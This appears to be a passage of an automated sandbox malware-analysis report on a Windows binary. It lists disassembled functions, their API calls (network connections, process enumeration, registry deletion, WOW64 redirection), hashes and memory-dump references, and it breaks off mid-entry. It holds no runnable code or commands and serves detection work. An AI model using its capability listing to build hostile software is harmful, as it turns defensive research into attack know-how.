                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-3689287502
                                                          • Opcode ID: eaeba697cfdacfc60cea52c7e625ba3b39db4ed2363470c34483cec123ec1820
                                                          • Instruction ID: 630cf87ec7bd8f25a464d523110fe50c1e19f970e0147ac42bb30a2fbc080d48
                                                          • Opcode Fuzzy Hash: eaeba697cfdacfc60cea52c7e625ba3b39db4ed2363470c34483cec123ec1820
                                                          • Instruction Fuzzy Hash: 2BD0EC30511712CFD7209B71E90861BBAD5EF19351B51883A9589D6650EAB4D480DB50
                                                          Function 004F4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,004F4B83,?), ref: 004F4C44
                                                          • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 004F4C56
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-1355242751
                                                          • Opcode ID: 6b96e45e90c8a430c65004d86fd8d68f26c919ba56fe57c4e3eea653744b3230
                                                          • Instruction ID: c5b6cea83327ddb7f13f875c680566755364c9e04644499edf3f996b99e6d0d5
                                                          • Opcode Fuzzy Hash: 6b96e45e90c8a430c65004d86fd8d68f26c919ba56fe57c4e3eea653744b3230
                                                          • Instruction Fuzzy Hash: D6D01730910713CFD720DF31E90861B7BE5AF15351F52C83A969AD6260FA74D8C0EB60
                                                          Function 00570DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,00571039), ref: 00570DF5
                                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00570E07
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                                          • API String ID: 2574300362-4033151799
                                                          • Opcode ID: c9082ce6e855dbb0dcb1187847fe43cafcb6ba53e4c2f7046117913c69d116a4
                                                          • Instruction ID: 8ef36115e9647dea07a0908f1a76602fccc5b26a5fd87f12a9ab543f181abebf
                                                          • Opcode Fuzzy Hash: c9082ce6e855dbb0dcb1187847fe43cafcb6ba53e4c2f7046117913c69d116a4
                                                          • Instruction Fuzzy Hash: A6D01270910722CFD7209F75E8096467AD9BF15351F51DC3D9889DA590E6B0D4D0EB50
                                                          Function 005690E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(kernel32.dll,00000001,00568CF4,?,0057F910), ref: 005690EE
                                                          • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00569100
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetModuleHandleExW$kernel32.dll
                                                          • API String ID: 2574300362-199464113
                                                          • Opcode ID: f7ec9bf8cee86fae5f7c6db8726e577fff2f6cfd4c4119670fd17bb14f59ddb5
                                                          • Instruction ID: 0718ccd3a9d979a43a0d5254b9676b0ae7a61857e4f13dddcd0fc7240b3b5182
                                                          • Opcode Fuzzy Hash: f7ec9bf8cee86fae5f7c6db8726e577fff2f6cfd4c4119670fd17bb14f59ddb5
                                                          • Instruction Fuzzy Hash: 19D01734520713CFDB20DF31E82C6067AE8BF16351F22C83A948AD6590EA70C8C0EBA0
                                                          Function 0054717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 52b9213f5b3bbf9fb3ad771da6c9215659c48396b8a4da173e53af2718beab38
                                                          • Instruction ID: 4a7b0cf2a93e824eeaa7abfcbce831f0cb3edcf98b438230ccbbbbfebbe4f530
                                                          • Opcode Fuzzy Hash: 52b9213f5b3bbf9fb3ad771da6c9215659c48396b8a4da173e53af2718beab38
                                                          • Instruction Fuzzy Hash: 7DC13175A0421AEFCB14CFA4C884EAEBBB5FF48718B154998E805DB251D770DD81DB90
                                                          Function 00568093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32(00000000), ref: 005680C3
                                                          • CoUninitialize.OLE32 ref: 005680CE
                                                            • Part of subcall function 0054D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0054D5D4
                                                          • VariantInit.OLEAUT32(?), ref: 005680D9
                                                          • VariantClear.OLEAUT32(?), ref: 005683AA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                          • String ID:
                                                          • API String ID: 780911581-0
                                                          • Opcode ID: e2e6b3c297ff6774240d2528f489e1d1935f38fda8a9176546ff509f149a37ee
                                                          • Instruction ID: 50d1d1dae9ce219c3d6a24068eaf20a7065738fb58f9422924779cdab824f6a9
                                                          • Opcode Fuzzy Hash: e2e6b3c297ff6774240d2528f489e1d1935f38fda8a9176546ff509f149a37ee
                                                          • Instruction Fuzzy Hash: 19A168752047059FCB10EF25C895B2ABBE4BF89354F04494DFA9A9B3A1CB34EC44CB86
                                                          Function 0051D5D2 Relevance: 6.2, APIs: 4, Instructions: 229COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00519C0B: EnterCriticalSection.KERNEL32(00000000,?,00519A7C,0000000D), ref: 00519C36
                                                          • GetStartupInfoW.KERNEL32(?,005AA290,00000064,00517CEA,005AA0B8,00000014), ref: 0051D665
                                                          • GetFileType.KERNEL32(00000001), ref: 0051D6F9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CriticalEnterFileInfoSectionStartupType
                                                          • String ID:
                                                          • API String ID: 4158522439-0
                                                          • Opcode ID: d2c5857a77c8cef7f7f4ab46b5fb2835c62f9586869d15757327cda02c2aa396
                                                          • Instruction ID: 44474d5159629cfa07f0166bcea3a94be8e59105bf310fbf606006c3929b76cd
                                                          • Opcode Fuzzy Hash: d2c5857a77c8cef7f7f4ab46b5fb2835c62f9586869d15757327cda02c2aa396
                                                          • Instruction Fuzzy Hash: 8581E171D042419FEB20CF68C8416E9BFF0FF5A324B24466DD4AAAB3D1D7359886DB60
                                                          Function 0054687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$AllocClearCopyInitString
                                                          • String ID:
                                                          • API String ID: 2808897238-0
                                                          • Opcode ID: 801424fc467f0ecb147387fc989c024edba5ef3e2c4f0f3deb989d29fd316c3b
                                                          • Instruction ID: f6e927d75358c42335d9237c0583b78ae2a5137351f8f7bc9e624025ca7024de
                                                          • Opcode Fuzzy Hash: 801424fc467f0ecb147387fc989c024edba5ef3e2c4f0f3deb989d29fd316c3b
                                                          • Instruction Fuzzy Hash: 1C51F674700702DEDB24EF66D495BBABBE5BF46318F20D81FE586DB291DA74D8808702
                                                          Function 005797F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowRect.USER32(00E1DD40,?), ref: 00579863
                                                          • ScreenToClient.USER32(00000002,00000002), ref: 00579896
                                                          • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00579903
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$ClientMoveRectScreen
                                                          • String ID:
                                                          • API String ID: 3880355969-0
                                                          • Opcode ID: ff817c862c27dafb3ce8ce4dc876f0dbfcbf0775f5914ec50e909ec55287ea9a
                                                          • Instruction ID: 1669a57fb0bb5891a2a5d8a52fb129925f7e7ff7155c4669e15ee6671f7f5772
                                                          • Opcode Fuzzy Hash: ff817c862c27dafb3ce8ce4dc876f0dbfcbf0775f5914ec50e909ec55287ea9a
                                                          • Instruction Fuzzy Hash: 96516F34A00209EFDF14DF14E884AAE7BB5FF55360F10825DF9599B2A0D730AD81EBA0
                                                          Function 005669AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • socket.WSOCK32(00000002,00000002,00000011), ref: 005669D1
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005669E1
                                                          • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00566A45
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00566A51
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$socket
                                                          • String ID:
                                                          • API String ID: 1881357543-0
                                                          • Opcode ID: 68424f2094b67bf279dc30093972deac27b2db718450f2dae9f210fcda607ebd
                                                          • Instruction ID: 404fc0d276bc3d29441f50b0dc784659ccc22dde28a3bbc0170a64b2a56763b8
                                                          • Opcode Fuzzy Hash: 68424f2094b67bf279dc30093972deac27b2db718450f2dae9f210fcda607ebd
                                                          • Instruction Fuzzy Hash: 2941CE34700204AFEB60BF65CC86F7A77A8EF04B18F04841DFA19AF2C2DA749D408B95
                                                          Function 0055B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0055B89E
                                                          • GetLastError.KERNEL32(?,00000000), ref: 0055B8C4
                                                          • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0055B8E9
                                                          • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0055B915
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateHardLink$DeleteErrorFileLast
                                                          • String ID:
                                                          • API String ID: 3321077145-0
                                                          • Opcode ID: 7a3c083698adc53eb92267031020fb01fc6cef3db471bb863389a83b46f63b04
                                                          • Instruction ID: 4cc74fba9832f906b5014819bffdb9a25c0ca53c9fead640f73950431867deee
                                                          • Opcode Fuzzy Hash: 7a3c083698adc53eb92267031020fb01fc6cef3db471bb863389a83b46f63b04
                                                          • Instruction Fuzzy Hash: 47414839600614DFCB10EF15C494A69BBE1BF8A354F08808AED4AAB362CB34FD45DB95
                                                          Function 0057AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ClientToScreen.USER32(?,?), ref: 0057AB60
                                                          • GetWindowRect.USER32(?,?), ref: 0057ABD6
                                                          • PtInRect.USER32(?,?,0057C014), ref: 0057ABE6
                                                          • MessageBeep.USER32(00000000), ref: 0057AC57
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                          • String ID:
                                                          • API String ID: 1352109105-0
                                                          • Opcode ID: 25662f8f4459f15a62fadbb2db9c7d44ebf5ec1d036c6331a2843e77967e3c71
                                                          • Instruction ID: a58f4e55d469b96222ec0c6e23ab18a9fe5b280c28daba1e1e5a0d331536f532
                                                          • Opcode Fuzzy Hash: 25662f8f4459f15a62fadbb2db9c7d44ebf5ec1d036c6331a2843e77967e3c71
                                                          • Instruction Fuzzy Hash: BD414C30600119AFCB16DF58E884B6D7BF9FB99310F24C5A9F51D9B260E730AC45EB92
                                                          Function 00574EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetForegroundWindow.USER32 ref: 00574F02
                                                            • Part of subcall function 00553641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0055365B
                                                            • Part of subcall function 00553641: GetCurrentThreadId.KERNEL32 ref: 00553662
                                                            • Part of subcall function 00553641: AttachThreadInput.USER32(00000000,?,00555005), ref: 00553669
                                                          • GetCaretPos.USER32(?), ref: 00574F13
                                                          • ClientToScreen.USER32(00000000,?), ref: 00574F4E
                                                          • GetForegroundWindow.USER32 ref: 00574F54
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                          • String ID:
                                                          • API String ID: 2759813231-0
                                                          • Opcode ID: 7c92e4e1c8c1bdafafa7a80aa1641dd871ff6332cd2af4e9f02c7eeda4430281
                                                          • Instruction ID: 1c0fd039219cc07c907be4c8ff30e80a18c732750e550bf0ca1c76e9fd2a1561
                                                          • Opcode Fuzzy Hash: 7c92e4e1c8c1bdafafa7a80aa1641dd871ff6332cd2af4e9f02c7eeda4430281
                                                          • Instruction Fuzzy Hash: 3A312B71D00108AFCB00EFA6C885AEFBBF9EF99304F10446AE915E7241DA759E458FA4
                                                          Function 0054B1EC Relevance: 6.1, APIs: 4, Instructions: 88windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsWindowVisible.USER32(?), ref: 0054B204
                                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0054B221
                                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0054B259
                                                          • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0054B27F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$BuffCharUpperVisibleWindow
                                                          • String ID:
                                                          • API String ID: 2796087071-0
                                                          • Opcode ID: 3dec5a3178c0d23918ce28f14dd8fb813eb154ce27cd4d522fc4068ccc9cc54d
                                                          • Instruction ID: 17845226a4ba8d82ca91cde47b15b2e1a4e26fd199dd72a776ff44db50a6983c
                                                          • Opcode Fuzzy Hash: 3dec5a3178c0d23918ce28f14dd8fb813eb154ce27cd4d522fc4068ccc9cc54d
                                                          • Instruction Fuzzy Hash: 9421F5752082057BFB159B75AC49EBF7F9CFF89720F004129F808DA1A1EBA1DC80A360
                                                          Function 00553C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 00553C7A
                                                          • Process32FirstW.KERNEL32(00000000,?), ref: 00553C88
                                                          • Process32NextW.KERNEL32(00000000,?), ref: 00553CA8
                                                          • CloseHandle.KERNEL32(00000000), ref: 00553D52
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                          • String ID:
                                                          • API String ID: 420147892-0
                                                          • Opcode ID: 98aaab518bcff98d7642b8dce965ec135ea6e8833668d77dab8aa7c28a111ac8
                                                          • Instruction ID: bb44128aff3ead31d1218207febd1c83ecaa9471517f3e9c84cb59cf920914aa
                                                          • Opcode Fuzzy Hash: 98aaab518bcff98d7642b8dce965ec135ea6e8833668d77dab8aa7c28a111ac8
                                                          • Instruction Fuzzy Hash: B03190711083059BD304EF61D891ABABBF8BF95394F40082EFA85861A1EB759A49CB52
                                                          Function 0057C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • GetCursorPos.USER32(?), ref: 0057C4D2
                                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0052B9AB,?,?,?,?,?), ref: 0057C4E7
                                                          • GetCursorPos.USER32(?), ref: 0057C534
                                                          • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0052B9AB,?,?,?), ref: 0057C56E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                          • String ID:
                                                          • API String ID: 2864067406-0
                                                          • Opcode ID: ed0939cffe6e15c1a692449494e9f6c9fcea9ad440bdd46ffb76c1c17725696a
                                                          • Instruction ID: 52639487c95a4db4e58bcc45408b670fbb45fa35de4bfec0ffb12c9aebcbf750
                                                          • Opcode Fuzzy Hash: ed0939cffe6e15c1a692449494e9f6c9fcea9ad440bdd46ffb76c1c17725696a
                                                          • Instruction Fuzzy Hash: 00317135600058AFCB15CF59E898EEA7FB6FB09310F548169F9098B261C732AD50FBA4
                                                          Function 00561767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005617A3
                                                            • Part of subcall function 0056182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0056184C
                                                            • Part of subcall function 0056182D: InternetCloseHandle.WININET(00000000), ref: 005618E9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
